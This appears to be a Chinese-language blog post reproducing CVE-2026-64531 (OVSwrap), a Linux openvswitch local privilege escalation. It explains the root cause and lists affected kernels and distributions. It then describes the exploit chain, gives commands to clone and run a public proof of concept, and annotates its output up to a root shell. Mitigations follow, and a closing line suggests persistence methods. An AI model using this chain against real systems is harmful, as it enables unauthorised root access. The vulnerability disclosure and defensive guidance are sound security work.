CVE-2026-64531 OVSwrap本地权限提升漏洞复现

发布于: 2026-08-04 17:27

漏洞描述

来源:CVE-2026-64531、OVSWrap、作者 heyitsasim(heyitsas.im/posts/ovswrap)

Linux 内核 openvswitch 模块存在一个由 16 位 nla_len 截断导致的 OOB 解析漏洞:OVS 把流 action 存成 netlink 属性(nla_len 为 u16)。提交 a1e64addf3ff 放开了 sw_flow_actions 总流可超过 64 KiB 的限制,但也移除了防止单个生成嵌套属性超过 U16_MAX 的最后一道检查——于是超大的嵌套容器会以截断后的 nla_len 闭合,后续 dump 或 teardown 遍历到的就是与校验时结构不同的流。攻击者构造一个超大的嵌套 CLONE/CT action(内部包含大量 conntrack action 以撑过 65535 字节),使其 nla_len 回绕成小值,解析器沿该长度步进后落在仍处于生成数据内部、且字节完全可控的 CT labels/timeout 区域,把伪造的 action 头当作独立 action 执行,进而实现任意读与减一写,最终在命名空间内伪造 tunnel SET 定位宿主进程 cred、把 fsuid/fsgid 清为 0 写入 sudoers 提权到 root。官方修复(3f1f75536668)保留了总流可超过 64 KiB 的行为,但让嵌套 action 闭合时拒绝放不进 nla_len 的容器并逐层回滚资源。

漏洞影响

触发前提:该漏洞在"2025 年 3 月移除 actions 长度上限(commit a1e64addf3ff)之后"的内核上可达,且攻击者只需在拥有该网络命名空间的用户命名空间里持有 CAP_NET_ADMIN——普通用户 unshare -Urn 即可,无需宿主 root、无需 OVS 已加载(按名解析 family 可自动加载模块)。

受影响范围(官方上游内核)

内核系列 受影响版本 首次修复版本
5.15.y 5.15.180 – 5.15.211 5.15.212
6.1.y 6.1.132 – 6.1.177 6.1.178
6.6.y 6.6.84 – 6.6.144 6.6.145
6.12.y 6.12.20 – 6.12.96 6.12.97
6.13.y 6.13.8 – 6.13.12 EOL,无上游稳定修复
6.14.y – 6.17.y 全部 EOL,无上游稳定修复
6.18.y 6.18.0 – 6.18.39 6.18.40
6.19.y 全部 EOL,无上游稳定修复
7.0.y 全部 EOL,无上游稳定修复
7.1.y 7.1.0 – 7.1.4 7.1.5

判断自己的系统是否受影响

uname -r                                   # 内核版本,对照上表
ls /lib/modules/$(uname -r)/kernel/net/openvswitch/  # OVS 模块是否存在
modinfo openvswitch 2>/dev/null | head -5           # 模块是否可加载
lsmod | grep openvswitch                             # 当前是否已加载
cat /proc/sys/kernel/unprivileged_userns_clone       # Debian/Ubuntu 系,0=禁 userns
cat /proc/sys/user/max_user_namespaces              # RHEL/Fedora 系

发行版影响(经漏洞作者测试)

  • 默认配置即可利用:AlmaLinux 9.7/9.8/10.1/10.2、Alpine 3.22.4/3.23.4/3.24.1、Amazon Linux 2023、Arch(linux/linux-lts/linux-zen)、CentOS Stream 9/10、Debian 12/13、Fedora 42/43/44、Gentoo、Kali 2026.1、Linux Mint 22.3、NixOS、openSUSE Tumbleweed、Pop!_OS、Rocky 9/10、Ubuntu 22.04、Ubuntu 24.04(后者需 aa-exec -p trinity 绕过 AppArmor userns 限制)。
  • 调整后可用:Arch linux-hardened(需开 unprivileged_userns_clone=1)、Linux Mint 21.3(换 HWE 内核 6.8)、Oracle Linux 8/9/10(安装并加载 OVS 模块包)、Ubuntu 26.04(需 kernel.apparmor_restrict_unprivileged_userns=0)。
  • 不可利用(保留旧上限/无后移):Amazon Linux 2、Debian 11、openSUSE Leap 16.0、Rocky 8、Ubuntu 18.04、Ubuntu 20.04。 提醒:这是作者测试过的子集,不是穷尽列表;厂商内核行为各异(如某些 RHEL 5.14 受影响、部分 SUSE 6.12 不受影响),应以"能否加载 OVS + 是否含启用性后移"为准。

利用原理

  1. 漏洞根源:OVS 生成 action 时,嵌套 action 的长度字段 nla_len 只有 16 位,但内核生成的总流长度可以超过 65535,且没检查——长度溢出后就回绕成一个小值。
  2. 触发方式:构造一个 CLONE,塞 400 个 conntrack action(每个内部膨胀成 164 字节的 ovs_conntrack_info(x86-64 上)),总长 65612 字节,nla_len 回绕成 76。
  3. 解析器被骗:dump/删除 flow 时,内核按假长度 76 步进,于是停在了第一个 CT 结构内部——那里正是攻击者可控的 labels/timeout 字节,伪造的 action 头就埋在这个落点。
  4. 原语一:任意读。埋假 OUTPUT(长度 512)→ dump 时内核把后面 512 字节内存当载荷吐回用户态,先抠出真实的 helper 模块指针;再埋假 tunnel SET,令 tun_dst = 目标地址 − 字段偏移 → 内核去任意地址读 tunnel 字段序列化回来 → 逐字节任意读。
  5. 原语二:减一写。同一个假 SET 在 flow 删除时触发 dst_release,会对 tun_dst 附近的引用计数减 1;偏移调准后就是任意地址减一。
  6. 由原语到 root:任意读 → 推出内核基址 → 从 init_pid_ns 的 IDR 找到宿主侧 sudoers writer 子进程 → 读出它的 cred → 把 fsuid/fsgid 各减 1000 次到 0(老内核则回绕 capability)→ 该进程获得 root 文件权限 → 写 /etc/sudoers.d → 父进程 sudo -n bash 得到真实 root。
  7. 为什么可靠:落点偏移、字段偏移、符号偏移对同一个内核 build 都是固定常量,无需堆风水,每次结果一致。

复现环境

本文仅用于安全研究与防御目的,请在自有虚拟机/授权环境复现,勿用于未授权系统。

环境要求:

  • openvswitch 模块可加载(modinfo openvswitch 有输出)
  • 已装 sudo
  • 允许非特权 user namespace(Alpine 默认开,Debian/Ubuntu 需确认 unprivileged_userns_clone)
  • 目标内核命中内嵌表,或具备可读 /proc/kallsyms/System.map + pahole + BTF

在本地Virtualbox虚拟机的Alpine Linux 3.24上复现,内核版本为6.18.39-0-virt

poc: Github manizada/OVSwrap - 发现者

# 确认内核版本
uname -r
# 6.18.39-0-virt
# 国内镜像加速
git clone https://gh-proxy.com/https://github.com/manizada/OVSwrap.git
cd OVSwrap
python3 ovswrap-poc.py

成功获取root权限

缓解措施

  1. 首选:升级内核

  2. 卸载并黑名单

sudo modprobe -r openvswitch
echo 'blacklist openvswitch' | sudo tee /etc/modprobe.d/blacklist-ovs.conf
  1. 关闭非特权用户命名空间(移除普通用户可达路径;无法防护容器等已有 CAP_NET_ADMIN 的场景):
  • Debian/Ubuntu:sysctl kernel.unprivileged_userns_clone=0
  • RHEL/Fedora:sysctl user.max_user_namespaces=0
  • Ubuntu 24.04+:sysctl kernel.apparmor_restrict_unprivileged_userns=1
  1. 兜底:PoC 仓库的紧急 BPF 防护(bpf-mitigation),详见其 README。

poc 利用过程分析

对漏洞发现者poc利用过程打印信息进行分析

阶段 1:检查启动用户与 sudo 权限

验证复现前 demo 用户没有免密 sudo

launching user: name=demo uid=1000 gid=1000
baseline passwordless sudo for demo: denied

阶段 2:进入命名空间(拿到 namespace-root)

namespace: direct unshare -Urn works
running child: /usr/bin/unshare -Urn python3 ... --child
namespace uid/gid: uid=0 gid=0
uid_map: 0  1000  1
CapEff: 000001ffffffffff

unshare -Urn 一次通过,进了新的用户和网络命名空间。注意这里的 uid=0 和全能力只是自己命名空间内的 root,映射回宿主还是 demo(uid_map 0→1000),此时依然写不了宿主上的任何 root 文件

阶段 3:建 OVS 环境

datapath vhrd6667 ifindex 2
kernel lookup: using pre-derived record for release=6.18.39-0-virt
  • 在私有 netns 里建了一个 OVS datapath——引入 openvswitch 模块,触发漏洞的前提条件

阶段 4:泄漏内核指针,还原基址

leaked helper-ish pointer 0xffffffffc0bae060
helper->me module pointer 0xffffffffc0baeec0
module_ktype=0xffffffffac011540 kernel_base=0xffffffffab000000

回绕落点埋的 512 字节假 OUTPUT 在 dump 时把真实 nf_conntrack_ftp helper 结构带了回来(0xffffffffc0ba... 位于模块地址区,符合预期)。再顺着读 helper->me 拿到 openvswitch 模块指针,读模块的 kobject.ktype 减掉符号偏移,就还原出 2MB 对齐的内核基址 0xffffffffab000000

阶段 5:确认利用前没有文件写权限

write /root/ovs_c004_lpe_proof_6667 failed: errno=13 Permission denied

阶段 6:定位 writer 进程的 cred 并清零 fsuid/fsgid

located task ... pid=6663 cred=0xffffa04bc3f8dd80
fsuid before=1000 → after=0
fsgid before=1000 → after=0

用任意读从 init_pid_ns 的 IDR 里找到宿主命名空间那个 sudoers writer 进程(pid 6663)的 cred,再用减一原语把它 fsuid、fsgid 各减 1000 次到 0——这个进程从此以 root 的文件权限在宿主上读写

阶段 7:写 sudoers + 收尾

sudoers write succeeded: /etc/sudoers.d/ovs_c004_6661 user=demo
RESULT: ... spawning 'sudo -n /bin/bash'
root@Maze:/tmp/OVSwrap#

writer 以 root 文件权限写入免密 sudo 规则,父进程 sudo -n bash,root shell 到手。整条链只有漏洞触发发生在命名空间里,真正提权那步(写 sudoers)是在宿主命名空间完成的

利用内核漏洞拿到了root文件权限,再通过写入sudo配置文件完成持久化利用,如果目标机未安装 sudo,还可以通过写入公钥、定时任务、passwd追加恶意用户等方案